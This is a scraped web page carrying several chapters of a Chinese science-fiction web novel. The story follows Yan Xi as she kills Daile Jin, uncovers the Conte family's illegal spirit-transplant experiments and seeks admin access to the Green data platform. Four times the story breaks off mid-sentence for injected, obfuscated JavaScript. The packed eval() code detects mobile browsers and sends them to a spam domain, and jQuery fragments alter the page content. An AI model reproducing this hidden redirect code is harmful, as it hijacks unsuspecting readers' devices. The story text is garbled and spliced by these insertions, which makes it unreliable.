“没想到你自己撞到我的枪口上来，真好，拿你第一个开刀。”颜惜望着地上已经断了气的戴勒，收起了笑。 她蹲下身来，从他的手里掏出那把手枪。手枪失去了精神力的加成，看上去平平无奇。颜惜对着戴勒的额心连开了三枪，而后将手枪别到了自己的腰后。 她从腰后掏出匕首，摸到了戴勒尸体的耳后。果然如林璀所说，所有做过精神力增强手术的人耳后都有一道手术后的缝合伤疤。颜惜用匕首沿着伤疤划开皮肤，露出了下面的浅红色的精神体。这枚精神体显然不是戴勒自己原生的精神体，因为颜惜在伤口周围看到了抗排异的人造血管和组织。 她硬生生徒手将那枚精神体掏了出来，在舰舱里找到一个适合存放活体器官的保温箱，将这枚精神体装了进去，放到了自己的收纳戒指里。颜惜怀疑这枚精神体是莱塔诺或是她的丈夫哈鲁其中一个人的，因为戴勒的精神力恰好95点，而颜惜推测的戴勒和格鲁吉亚做移植手术的那几年恰巧就是莱塔诺和她丈夫失踪的那几年。她准备回到中央星以后拿着这东西去和海莲娜做一个基因检测。 做完这些，她又从戴勒的右手里取出了他死死捏着的小型人造虫洞，将精神力灌进去，空间门马上浮现在了空中。颜惜一跃跳进去。 经历了两次空间门启动与在空间门里的方向控制经历，颜惜现在已经很是熟练。她在跳出来前观察了一下戴勒带人来的舰船的方向，离开前一把火把那艘她和戴勒打斗的穿梭舰给炸了。 空间门开在了戴勒带了的一整艘巨大的军用穿梭舰的舱腹核心——这里存储着穿梭舰上所有的武器与附属小型穿梭舰。 空间门一开，周围的巡逻人员还以为是戴勒回来了，他刚想走上前，就被空间门里伸出来的一只手猛得拖进了空间门里。不过片刻，这人的尸体悄无声息地掉了出来——他的脖颈已经被拧断了。颜惜躲在空间门里，对着头顶的监控连开了三枪，直接毁掉了这个核心舱里的所有监控设施。 颜惜轻巧地从空间门里跳出来。周围的唯一一个巡视人员已经被她解决了。她找出舱腹里所有能用的小型穿梭舰，用她从戴勒身上搜出来的权限卡，刷了一座小型穿梭舰放了出去，将其他所有穿梭舰都设置成锁定状态。 她看着虚拟光屏上的炸药开关，毫不犹豫地就点下了“销毁”模式。一旦一枚炸药引燃，之后所有的军火都会发生连环爆炸，直到这艘穿梭舰彻底被炸毁在太空里，而所有的穿梭舰都已经被锁定，没有人能逃得掉。 她自己则再次通过人造虫洞打开了小型空间门，跳到那艘被她放出去的小型穿梭舰上。 “三、二、一……”颜惜默默倒数着，伴随着她的话音刚落，一整艘巨大的军用穿梭舰瞬间被火海吞没。 一边是燃烧着的巨型载客穿梭舰，另一边则是正在发生连环爆炸的军用穿梭舰。 颜惜就这样在冲天火光里驾驶着小型穿梭舰，迅速地离开。 * ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15576339|168381||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ** 中央星。 金家的花园很是漂亮，里面种满了名贵的花木，一年四季，整个花园里都有新鲜的鲜花正在盛开，花圃里的颜色搭配也很是讲究，一点都没有世家破落户该有的破败样子。应该说，这一切都该归功于二十多年前嫁过来的康特家的大小姐——梅根·康特，哦不，现在应该叫她梅根·金。 她当年是中央星闻名的优秀，不知为何选择了伦德·金这样一个世家破落户出身的花天酒地的纨绔。据说是因为爱情。 所有人都不理解，包括她的弟弟安德鲁·康特和妹妹玛琳·康特。 但是无所谓，梅根有自己要做的事。 毕竟——金家曾经也鼎盛过，他们当时的家族创始人自研出了一个适配当时最先进的电子产品的幻机系统，不久以后就被接入格林平台使用，而后依托这个系统创立了幻机科技，盛极一时。不过这个家族后续再也没出过当时的家族创始人那样的天才，后代的作风还很奢靡腐败，家财在不久以后就被败光了。 梅根嫁给伦德不久以后，金家的其他有家主位置竞争力的适龄者陆续在几年里死亡，伦德自然而然地成为了家族继任者。似乎是爱情的力量作祟，伦德·金甚至从此改掉了所有纨绔子弟的坏毛病，专注于家庭。后来梅根以伦德·金的妻子身份，全权接管了整个幻机科技。这几年里幻机科技花了大价钱挖走了许多科研技术人员，不论出身，只要有杰出贡献，幻机科技拨款都十分大方。与此同时幻机科技还与众多高校合作，尤其是中央星五大校，着力打造前沿技术以及科技发展。 本来这是一个很好的下午。 梅根·金正在和她的女儿格鲁吉亚·金以及她的妹妹玛琳·康特和弟弟安德鲁·康特在花园里的小凉亭里享用着下午茶。 突然她的光脑上传来一阵急促的响动。 红色的警报不断从她的光脑里传来。 梅根·金打开光脑，立刻跳出了一个巨大的红色警戒弹窗。 梅根的眼神甫一落到悬浮窗上，整个人都顿住了。 “妈妈？”梅根的光脑设有隐私权限，格鲁吉亚看不到光脑上显示的内容，只是看见梅根的面色忽然阴沉了下去，她不由得出声询问，“怎么了？发生什么事了？” “戴勒死了。”梅根从喉咙里发出了一点声音。“他大脑内部的生物芯片失去了活性。” “怎么可能？”格鲁吉亚也同样感到不可思议。她知道戴勒此去是因为收到了一条匿名消息，告诉他们脑机的事泄露了，不过小事一桩，因为对方乘坐的客舱位置也被线人透露了出来。 戴勒前去解决这人，问题应该来说并不大。因为帝国并没有除他们姐弟俩以外其他的精神力高于95点以上的人。段迟凛似乎精神力点数也高于95点，但是他对于精神力的使用以及对精神力的了解程度，远没有他们康特家所知道的多。毕竟他们康特家背靠者无数分布在帝国境内的大大小小的生物实验室，再加上药业公司这个最大的招牌，可以负责任地说，全帝国最前沿的有关精神力的研究都在他们的手里。 戴勒就算平时再怎么高傲，危急时刻也可以靠着手里的小型虫洞制造空间门离开，而且这次行动为了保障戴勒的安全，他们还特别派出了一整艘巨大的军用型穿梭舰—— “穿梭舰！”格鲁吉亚看向她的母亲，“戴勒后面有没有回到穿梭舰上？或许只是他一不小心弄坏了他的生物芯片——” “穿梭舰被炸毁了。”梅根阴沉着脸，“我只收到了这个消息。具体是谁动的手，监控里没有拍到任何活人。” 格鲁吉亚的心也沉了下来。 如果有人能杀死戴勒……她感觉到凉意爬到皮肤上，寒意沁进了她的骨头里。 那么意味着，这个人也能杀了她。 —— 此时，距离颜惜到达中央星，还有十个小时。 39. 惜皇回宫 颜惜降落到中央星系的时候，天已经黑了。 习惯了北部星系干冷的风，乍一踏出舱门，扑面而来的是中央星经过人工调控后温润的风，颜惜居然还有了几分恍若隔世的感觉。 颜惜并没有直接降落到中央星上，而是停泊在星系二环内的苍极星。她对这里很熟悉，多年前她第一次到达中央星的时候，因为没有正式的中央星星民身份卡，被迫在这里接受了隔离与检查，在经历了冗长的程序以后，才得以顺利注册中央星身份认证。 兜兜转转那么多年，颜惜故地重游，但早就不是十五岁那年，那个刚来中央星，怀揣着怒火但又惴惴不安的少年了。 她将这艘小型穿梭舰停泊在外环轨道上，往发动机内部丢下了点燃的便携式燃料，而后拎上自己为数不多的行头，立刻开启空间门跳转到了苍极星港口附近无人的停机坪上。 小型穿梭舰迅速地被引燃，而后在轨道上爆炸，整个港口里的执勤安保人员全都被紧急传讯集合，去处理轨道上的事故。 颜惜趁此机会直接闪身溜出了港口的安检区域。 “中央星的防卫系统真该整改一下了。”颜惜嘟囔道，“浑水摸鱼可真容易。” 她脚步不停，赶往城外介于居民区和商业区之间的灰色地带，熟门熟路地找到了其中一条小巷，走到了一扇紧闭着的、看上去尘封许久的门前。 她微微低下头，将自己的瞳孔对准了门前的锁孔，“嘀”的一声，门开了。 扑面而来的灰尘让颜惜狠狠打了三个喷嚏，粉尘还掉进了她的眼睛里，刺痛得她眼泪直流。 等颜惜终于缓过来一点，她这才走了进去，反手带上了门并从里面反锁，这才打量起了里面的设施。 这是一个看上去像是黑市诊所的地方，外面那间房间里放置着一个柜台，还搭建了一块休息区域，中间有一扇巨大的门阻隔了两个房间，颜惜抬手打开门，里面是一个无菌手术室。 这里是宋书在前往她之前工作的实验室之前开设的地下诊所，这里刚巧有颜惜需要的可以检测基因序列的仪器。在知道颜惜需要找一个隐秘的机构做基因相似度检测后，宋书就将地下诊所的密钥里加上了颜惜的生物信息。 颜惜环视一周，终于在墙角里找到了那台基因检测仪。她启动了地下诊所的电源，按照宋书给她口述的使用说明书，将从戴勒耳后挖出来的那枚精神体放到了基因检测仪里。 宋书曾经当过北部编队的军医，那个时候军部正在鼎盛期，帝国的所有数据库都被顾嘉强硬要求对军部开启，方便军部跨星系追捕。而那时候的宋书留了个心眼，将所有的数据全部拷贝了一份，留存在了自己的手上。颜惜本来还在思考该怎么绕开帝国一层又一层的数据库防火墙，不惊动任何人、不留下任何痕迹地搞到基因信息，没想到宋书此举恰巧解决了她的燃眉之急。在宋书这里进行基因对比检测是最安全的，不用考虑数据盗窃的风险，也不必考虑检测机构是否会泄露信息。 基因检测仪器切下来一小块精神体组织，开始化验。这个过程大概需要一个小时左右，颜惜闲着无聊，拉过一条还算干净的凳子，手肘撑在检测以上，开始玩光脑。 消息栏里有很多人给她发了消息。 最上面就是林璀给她发的，告诉她那位在星云小队里效忠康特家的叛徒已经被她的手下控制了起来。 “爱德华兹没闹？”颜惜挑眉，回复道，“我记得他以前最看重自己手下的人了，怎么这次这么容易就让你控制住了？” 林璀似乎也正在空闲，回消息回得很快：他问我是谁的命令，我跟他说是你发现的，那人不对劲，他沉默了一会儿就让开路让我去抓人了。 林璀：哦对了，说真的，在这之前我还真看不出来他是康特家买通的叛徒。他叫什么来着？卡门？每次我一去北部外环星域巡查，属他表现得对顾嘉最忠诚。 颜惜：跳得最高的最心虚。 林璀似乎又忙了起来，没再继续回复她，于是颜惜切除了这个通讯栏，想了想，把段迟凛再次从黑名单里拉了出来。 段迟凛似乎被拉黑到没了脾气，这段时间很是安静。 颜惜小窗里私聊戳了他一下，她估摸着这个时间段迟凛应该在上晚课，要不就是训练，估计没那么及时能回她消息。 没想到段迟凛回得很快。 段迟凛：？怎么？你回中央星了？ 颜惜：你怎么知道的？ 段迟凛：……猜的。你没事的时候才不会来找我。 颜惜挑挑眉。她手上还戴着当时辐射主星上段迟凛给她的那个手环，她特意没摘。 颜惜：那你有什么打算？我不在的这一个月，你怎么跟他们说的？我先跟你串串供。 段迟凛：……我能有什么打算？ 颜惜：太没有追求了，太没有理想了，我不喜欢没有打算的人。 段迟凛：？ 颜惜看了看基因检测仪上的进度条，已经过了一半，大约再过两刻钟就能彻底检测完毕。 从苍极星回中央星还要验证身份，多次查证，还要搭乘星系内部公共交通，很是麻烦，一来一去，等她到了中央星，估计得是深夜了。 颜惜想了想，给段迟凛发了条消息。 颜惜：这样，给你一个机会，来苍极星接我。 段迟凛：？ 颜惜：爱来不来。来接我的机会可是万分宝贵的，错过这村，下次可就没这店了。 段迟凛似乎是犹豫了片刻，最后还是认命地回复她：你等我半小时，我马上来。 颜惜回他一个奸笑比格表情包。 检测仪器上的进度条跳到了100%。颜惜将这份检测报告输入宋书给她的十年前的帝国基因数据库，比对相似程度，果不其然，最先跳出来的就是哈鲁的基因身份认证——戴勒移植的精神体果然是来自于哈鲁。那么合理推测，和戴勒同样拥有95点以上精神力的格鲁吉亚，她移植的应该是莱塔诺的精神体。 颜惜继续看那份报告，报告上显示哈鲁当时的精神力点数是95点，她继续往下浏览，将这份基因输入亲缘关系比对中，数据库马上跳出来了另一份报告。 颜惜点开，报告显示这位与哈鲁的遗传基因相似度高达99%，被系统迅速判定为亲缘关系。报告的证件照里面是一位小女孩，她一头艳红色长发，五官明艳，大约十岁左右，照片上显示她笑得很开心，后面缀着她的名字——莉薇·墨菲。拉到最下方，父母关系栏上，她和莱塔诺的亲缘关系显示是母女关系，而她和哈鲁的亲缘关系显示是父女关系。 颜惜一眼认出了那是小时候的海莲娜。 她皱了皱眉，问题来了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你怎么？”段迟凛看了眼坐在他对面正在没事人一样继续进食的颜惜，一点都不像是一个刚刚结束一条人命的样子，看上去根本没有任何心理负担。段迟凛不知道到底是颜惜的心理素质强大到这种地步，还是她早就习惯于这种手刃仇人的日常。 “想问什么？我告诉你。”颜惜抬头看向他，突然特别灿烂地笑了一下。 “我查到了哟，康特家联合金家在帝国好几个地方搞精神力和大脑实验。”颜惜说，“之前去的那个实验室，想必你也查到了，这是他们做精神体移植实验的地方，而他们现在更是有着一种在大脑底层逻辑里植入精神暗示的技术。” “你要不要联想一下，这两个东西结合到一起，他们会干什么？”颜惜朝他眨了眨眼，像是丝毫没意识到自己说了什么一样，“据我所知，康特药业曾经招募过大范围的精神力提高实验的实验者，你大可以查一查这批人里精神力水平显著提高的有谁。” 段迟凛的脸色逐渐变得凝重。 颜惜终于吃完了她面前的那碗糖水，她在光脑上付完账单，站起了身。 她背着手蹦蹦跳跳地往前走，轻哼着歌。 很好，段迟凛是她所认识的皇室里最有道德感的人，颜惜告诉他这些东西，段迟凛不可能不管。她就是要从段迟凛入手，把皇室也拉下水。 曾经皇室趁火打劫，以为自己能螳螂捕蝉黄雀在后。现在身份对调，隔岸观火、作壁上观的人变成了颜惜。 40. 威胁短信 “先不回中央星？逛逛？”颜惜歪歪脑袋，她看上去心情很是愉悦，回头看向同样站起身的段迟凛，“苍极星，嗯，今晚，据说有一场彗星奇观。七年一次呢！不一起看看吗？” 段迟凛盯着颜惜看了许久，她看上去真的跟个没事人一样，像是根本不清楚她方才说的话的意思。他又仔细地看了看她，这才发现她脸颊上确实有着几丝没擦干净的凝固的血渍。 他走上前，拿湿巾揩过她的皮肤，把她的脸擦干净。 酒精棉片在颜惜的脸上迅速风干，留下朦胧的凉意。 “颜惜，”他的声音低低的，“你为什么选择告诉我？” 在颜惜突然前往北部星系，而又全身而退回到中央星，甚至胆大妄为到根本不想对他遮掩任何的行动踪迹时，段迟凛就明白颜惜这回，对他是演都不演了。 之前段迟凛一直在好奇她的动机，一直在思考她到底要什么。寻常人想要的无非就是权力、金钱、名声以及更好的前程，但第六感告诉段迟凛，颜惜一个都不想要。但她又莫名其妙地周旋在多方人马间，演着她那拙劣的长袖善舞的大戏，他真的很好奇。 在颜惜离开中央星的期间，段迟凛忽然想明白了一点颜惜身上的矛盾来源。 颜惜或许真的什么都不想，她是真心实意地在讨厌中央星里的人、事、物，真心实意地讨厌中央星，讨厌帝国。 她告诉他这些，只是因为他是唯一一个有能力、有权限、有立场去跟议会去跟康特家掰手腕的人。简而言之，一把好用的、趁手的刀。 “你怎么就确认我会按你的心意来行动？”段迟凛问道，“你怎么就认为我会相信你的话？” 段迟凛挡在她身前，他比颜惜高小半个脑袋，路边的路灯洒下惨白的光，段迟凛直接将颜惜罩在他的阴影里。 颜惜最喜欢段迟凛这种压力她的时刻了，她挑衅地笑了笑。 “那你难道不会吗？你在知道康特家在做违规人体实验，你能无动于衷吗？当作视而不见？”颜惜捏准了他的心理，回击起来毫不留情，“还是说，你也要和长老院和皇室里的那群老骨头他们同流合污了？” “‘世家和中产以及平民之间总归是不一样的，你看，好东西总是永远流向最高层的人们，这是正常的趋势，颜惜你既然实现了阶级跃迁，就该好好想想该怎么让自己利益最大化。我们也是这样。’”颜惜一字一句，学着那群老东西讲话的腔调。“‘在其位谋其利，不是吗？’” “真恶心，我最讨厌别人对我说教。这可是我第一次去皇室，你们皇室里那群大臣和顾问私下里对我说的，”颜惜回头看段迟凛，“他们觉得对我体贴至极，教了我许多老油条才知道的东西，难道段迟凛你也这样觉得？” “不。”段迟凛回答道。 “所以啊，”颜惜笑笑，“哪怕你都清楚了，去调查我说的事情，就是被我当枪使对付康特家，你还是会去的，不是吗？” “……”段迟凛沉默了片刻，最后还是问出了口，“可是颜惜，你又是怎么想的呢？” 彗星落了下来。长长的纯白的彗尾，拖过天空，终于出现在了人们的眼前。因为苍极星是在整个星环的最外环，因此肉眼看去也很明显。周遭被一众天文观测者包围，他们的惊呼声覆盖了段迟凛的话音。人声喧嚣 “嗯？”颜惜没听清段迟凛在说什么。 “没什么。”段迟凛收回了想要拉住颜惜的手，“回中央星以后，我会申请启动正式的调查程序，但在这之前——” “如果你有什么打算，颜惜，我要你和我一起。” *** 段迟凛是驾驶着自己的私人穿梭舰来的，他有星系内部通行证，因此没有任何阻拦地驶向了回到中央星的航线上。 回程的时候，金家独子失踪的消息已经在星网上传得沸沸扬扬，颜惜有一搭没一搭地划拉着星网，一边看向窗外。 “说起来，七年前我刚来中央星系的时候，也是在苍极星上看到了这颗彗星。”颜惜说，“说不定是命运给我的启示呢？七年前刚好是开头，而七年后的如今到了收尾的时候。” 段迟凛没说话。 他看着手里调出来的戴勒·金的数据。 戴勒在中央数据库里的数据是经过后期处理的。上次辐射赛场后，段迟凛借着对康特家大肆检查，所有人都自顾不暇的时候，让他安插在议会内部的人手把上一年的中央星所有大学的体检数据报告调了出来。 似乎是因为整个中央星的体检业务都是康特医疗和康特药业承包的，因此他们没有在这份数据上做伪造。 这份数据上显示，戴勒·金的精神力点数是95点。早年间他的精神力还存在有不稳定的情况，但是近几年的体检数据显示他的精神力已经趋于稳定。他的其他几项基本生理条件数据也比中央数据库中记载的要优越许多。 段迟凛试想了一下如果他自己和戴勒到了需要搏命的程度，他应该能够赢下戴勒，但绝非易事，身上必定会带点伤。 但是……段迟凛转头看向颜惜。 颜惜还趴在舷窗上看着外面的星海，好像没事人一样。 段迟凛也没在颜惜身上看到任何伤口。 颜惜没必要对他说谎。他也见过在辐射主星的那间实验室里，颜惜手起刀落解决掉畸变人的样子。戴勒就是死于颜惜之手。 段迟凛的眼神凝固了一瞬间。那是不是意味着，他对上颜惜，也没有几分胜算？ 穿梭舰进入了中央星星环轨道。不过一会儿就停泊在了航空港口里。 到了中央星，颜惜就像是回到了水里，随手和段迟凛告别以后，直接往出港的人群里钻，几个闪身，瞬间就消失在了段迟凛的视线里。 中央星的夜晚永不黑暗。 夜晚的灯光亮如白昼，所有轨道交通24小时在城市的固定位置持续奔跑，大大小小的虚拟屏幕悬浮在城市的角角落落，大商圈一个接着一个，哪怕是深夜，也有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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桃然本人就是从贫困星球出来的，拿到了中央星大学的特招名额，这才得以迁移户籍到中央星。但这个特招名额万里挑一，往常再怎么样都落不到贫困星学生的身上。 “一定要选呢？”颜惜很执着地问。 “嗯。”桃然思考了一下，而后看向她，“抱歉，我可能会选择给我带来利益的，毕竟你要思考的是复仇，而我要思考的是生存。不过，在某些特定情况下，我会给你我力所能及的提示。” “我明白了。”颜惜结束了两人打哑谜一般的对话，站起身来，走进自己的房间里，关上房门后，瘫倒在自己的寝室柔软的床铺上。 睡习惯了北部星系冷硬小的铁板床，中央星柔软如云的大床居然还让她有一丝不适应。 颜惜打开光脑，切到那个匿名身份，给安德鲁·康特发去了一条消息。 “想知道戴勒死在谁的手里吗？” 这是明晃晃的挑衅。 颜惜想到对方看到消息后震怒而后暴跳如雷的样子，忍不住笑出了声。 在这样的好心情里，颜惜洗漱完后，将光脑一扔，沉沉睡去。 41. 私人密钥 颜惜醒来以后在床上躺了一会儿，望着雪白的天花板发了会儿呆，这才逼迫自己爬起来。 她看了看睡前发的威胁短信的匿名账户，里面一条回复都没有，颜惜猜这个账户已经被梅根·金接管了。 “真有意思。”颜惜笑笑，转身坐到书桌的旋转椅前。 她很难得的拿出电子触控笔来，在自己的光脑虚拟屏上拉了个表格。她平时很少做这种系统性的整理，但现在她短短几个月里接触了太多新东西，因此不得不改变一下习惯。 “辐射主星——关联实验室：含宁实验室。证人：林璀。实验室受害者兼实验室成员：莱塔诺夫妇（疑似已经死亡）两人的精神体分别移植到金家姐弟身上（戴勒已确认，格鲁吉亚为推测）。实验室主要项目：研究精神体作用，并研究成功如何移植精神体，如何将多个精神体相互兼容，以提高精神力。” “北部星群——关联实验室：科致医院地下基地。证人：宋书。实验体具体表现为被植入大脑底层精神控制。如有违反实验者某项命令，实验者可直接下达抹杀指令，让实验体直接大脑死亡。具体原理：未知。” “两地实验室里都找到了相同图案的徽标，经检验与宋书任职的中央星秘密研发室的徽标一致——”颜惜写到这里停下了笔，在她发现这个徽标后，让她的黑客朋友黑进了宋书之前任职的中央星秘密研发中心，在后台找到了多笔金钱往来——而这些往来的对象最后的汇总账户就是位于中央星的康特家。 帝国中几乎是议会、皇室、军部三权分立，能做到将实验室开遍整个帝国所有星系的能力的，也只有这三者能做到。颜惜排除了皇室和军部的嫌疑，真凶唯一的可能性就是议会。 和议会交好的家族数不胜数，先不说每个党派都有属于自己的坚定拥趸，就算是中立派也有很多。颜惜没说的是，其实那天晚上她将匿名信件发往了与议会关系紧密的所有家族，但第二天来追杀她的只有戴勒·金。 戴勒·金的母亲是梅根·金，曾用名梅根·康特。她的妹妹和弟弟分别是康特家目前的主心骨玛琳·康特和安德鲁·康特。而玛琳·康特的配偶路易·巴恩斯又是如今议会里的保守党党魁，他在这个位置上已经有十二年之久，他每年的竞选资金都由康特家提供，此时他们早已结成了密切的利益联盟。 而如今这一届的议会竞选是保守党胜出，路易·巴恩斯虽然没有直接成为首相，但他因为是保守党最大的经济支持之一，在议会里却拥有着不输于首相的权限与地位，却免于被当成出头鸟而遭到直面的抨击。如果有了议会背书，那么用一点小小的手段掩盖康特家在帝国各地做违法实验的事，也不是不能做到。 更别说海莲娜曾经给颜惜看过一份她用莱塔诺的密钥登录进康特内网，不知道从哪个犄角旮旯里拉出来的名单。 基于这些，颜惜很肯定，推进这些违法实验的实验室主理人就是康特家族。 在整理过程中，颜惜还发现了一个很微妙的事实。辐射主星整体封锁，是在莱塔诺被带走后才发生的事情。可是既然唯一的知情人莱塔诺和她的丈夫都已经被迫失踪了，最后也没能逃脱，那么按理来说含宁实验室应该是没有任何风险的，可以继续开办下去。 颜惜进含宁实验室的时候就发现那里的水电设施和仪器设备都使用的是十年前最顶级的那批，明显主理人是有着长期运营的打算的，可却在莱塔诺反抗之后将整个实验室废弃，甚至整个辐射主星都被人为封锁了。 可是整个辐射星系的被迫封锁过于仓促了。先不说那颗最初爆炸的卫星是天然星体，稳定性很高，那样一颗近地卫星，实时处在数据监测中，一旦有任何数据变化，都会有专人前往卫星上方勘测，而那场爆炸实在是太过突然，那颗卫星直接从内部引发了大爆炸，并发生了剧烈的核聚变反应，辐射波影响到了整个星系。 这样的剧变，颜惜不相信在这之前没有一丝一毫的预兆。可在事后帝国集齐了几乎是星系内所有的星球专家前来复盘，没有一个人人为卫星爆炸前的数据有任何问题。最后这场毁掉一整个星系的大爆炸被敲定了属于突变自然灾害的，盖棺定论以后再没有任何人怀疑。 可是颜惜觉得很奇怪。 如果换个思路想，要是莱塔诺其实成功把信息传递了出去，实验室主理人在察觉到莱塔诺的背叛时，莱塔诺已经把消息传递出去了呢？ 而促使实验室主理人也就是康特家族放弃这个实验室，甚至不惜炸毁这个星系的原因，是因为莱塔诺找来了足以和他们抗衡、或者说有彻查能力的第三方。 第三方……当然不会是皇室。 十年前的军部，如日中天。当时的军部几乎是压着议会和皇室一头。那时候顾嘉还在，颜拾雨也在。 如果……当时莱塔诺求助的人是顾嘉呢？ 顾嘉肯定会来。 而她来了以后一定会彻查。那么康特家所有的小手段都将暴露在视野里。顾嘉可一点都不会给他们留底线，那么康特家连带着议会里的一大批人都将被连根拔起。 所以他们只能断尾求生。 而后不久，再买通顾嘉星云小队里的卡门，暴露了顾嘉的行动路径，利用95点精神力以上的人制造的临时空间门在他们的跃迁空间门内安装上炸弹，彻底让他们葬身星海。 这是赤.裸裸的报复。 颜惜的指尖抖了抖。 她急忙拿出自己的光脑，没注意到自己的手都在抖，甚至划拉虚拟屏幕的时候都急急忙忙的，最后才找到了段迟凛的通讯框。 aaa愤怒韭菜：段迟凛，你在哪？ aaa愤怒韭菜：我要格林平台的管理员权限。 aaa愤怒韭菜：你在哪，我来找你。 段迟凛发过来一个定位。 dcl：我刚好在格林平台数据中心，今天是例行维修日，你要过来吗？ 颜惜抓起自己的外套就往外冲。 出门的时候季宴正巧进门，她脸上有着遮掩不住的疲惫，眼底青黑，面色苍白， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15604373|168381||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脚步也很虚浮，手指缝里还有着没洗干净的血迹，她扶着脑袋，看上去像是一晚没睡，神色不是很好看。看到颜惜，她惊诧了一瞬。 “你回来了？什么时候回来的？”她问，“昨晚吗？” “嗯是的。”颜惜没空继续和她闲聊，直接冲出了门外。 她甚至斥巨资下单了悬浮车专车直送业务，花了整整一千多星币才从大学城打到了中央星另一个方向的位于郊区的数据处理中心。 数据处理中心周围出乎意料的绿化不错，周遭居然有山体，山上郁郁葱葱地栽种着乔木，底下还种着一些个头不高的灌木，但看上去总归还是有几分人造的意味，没有原生的、纯天然的意趣。 山边有一个巨大的水库，旁边有一个水力发电站，为数据处理器提供电力，同时水流流过每个数据处理中心底下，为发热的处理器降温。每个数据集成处理中心外面都罩着一层厚厚的隔热用的灰色罩子。 颜惜有点路痴了，看着光脑上的导航箭头标识，在园区里绕来绕去没绕明白。每个罩子看上去都一模一样，颜惜眼睛都看痛了。 后来还是段迟凛走出来找到了颜惜。 “我要管理员权限。”颜惜直截了当地开口。 “可以给你。”段迟凛盯着她说，“但是你要拿这个做什么？” 格林平台接入的是所有光脑，储存有所有人在光脑上的数据，只要一个人有光脑，那么他的所有与光脑有关的数据就全部能在格林平台上找到。但是这个权限仅限于管理员可以使用。 为防止格林平台的管理员身份泄露或是有黑客攻击格林平台导致数据泄露，格林平台最后将管理员权限限定在皇室直系成员以及配偶身上。目前帝国的皇帝只有段迟凛一个孩子，那么这一代的格林平台管理员身份只有段迟凛持有。 一般来说，管理员身份只能大体知道用户本人发布了某一方面的内容，并不能直接查询用户的隐私内容，只有系统判定用户本人违规后，才能被管理员查看。每个人的光脑都绑定了光脑使用者的身份信息，每个人的光脑都有使用者设置的私密密钥。而还有一种特殊情况就是，管理员知道这个使用者的私秘秘钥后，能在后台查看对应的使用者的数据以及记录。 这个设置在开发之初是用来删除管理员本人的权限的，不过到后来系统自动迭代出管理员身份变更系统，就被抛弃了。 按照规定颜惜必须和段迟凛正式结婚才能和他拥有同样的权限，颜惜本来也是打算慢慢苟着的，但是现在显然她等不及了。 而颜惜这次来，是想要用管理员权限，打开一个已经去世的人的光脑数据记录。 “我不能告诉你。”颜惜摇摇头。 “那免谈。”段迟凛一步不让，“我昨天说过，我会按照你的意思去走，但前提是你要做什么我会和你一起。” 颜惜恨恨地剜了他一眼，最后还是叹了口气，让了一小步。 “好吧，我要试着打开一个，死人的光脑。”颜惜用词谨慎地说。 42. 暗杀手段 颜惜抿着嘴，显然是不愿意继续说下去了。 段迟凛知道再逼颜惜说下去也得不到结果，叹了口气，把她带进了格林平台的数据中心。 格林平台数据中心外有着三层防护，第一层是和园区内其他数据基站一样的外围防护电网，一旦系统察觉到了妄图强行闯入数据中心的活物，不管是人类还是动物都会直接在靠近电网时被高压电流直接电死。第二层是人力守卫，有整整三十位训练有素的配备着巨大杀伤力武器的警卫，实行三班制轮岗。 而最后一道防线，则是系统防护。颜惜到现在也不知道这一道防护的原理，段迟凛不愿意告诉她。这东西的机密程度似乎也很高，杀伤力估计也不小。要不是忌惮着这最后一道防线，颜惜早就强行闯进格林平台数据中心一探究竟了。 段迟凛没有带颜惜走正门，而是抄近路从蜿蜒的小径径直走向数据中心侧方位的小门。 段迟凛在一栋墙前停下，旁边缓缓浮出一个莹蓝色小框。 他将瞳孔移向小框前面，机械女声随即冷冷响起：“验证通过。” 接着，一个蓝色的光点在这栋墙的中心亮起，而后慢慢向外扩散，直到扩散成一扇大门的形状。原本外层漆白，内中是玄铁的墙壁消失了，变成了一片虚无缥缈的柔和蓝光，由实体瞬间变成了虚幻。 段迟凛率先踏了进去，身影没入了那片蓝光。 颜惜挑挑眉，然后也跟着走了进去。那片缥缈的蓝色在两人进去后的瞬间收缩，缩回了墙壁中心的那一个小小光斑，而后消失在人脸验证的面板之后，又恢复成了原先洁白无暇的墙壁。 段迟凛进门后等了颜惜一会儿，直到颜惜的身影也出现在门后，这才抬步向前。 他带着颜惜一路向前走，穿过了占地面积极大的摆放着巨大数据处理的仪器区域，最后停在了数据模拟区前。 数据模拟区域上建着一个指挥台。指挥台比地面要高出一米，周围有一圈贵金属光泽，那是用稀有矿石“云银”做成的护栏。下面的人看上面什么也看不清，颜惜猜测上面就是格林平台的总控中心。 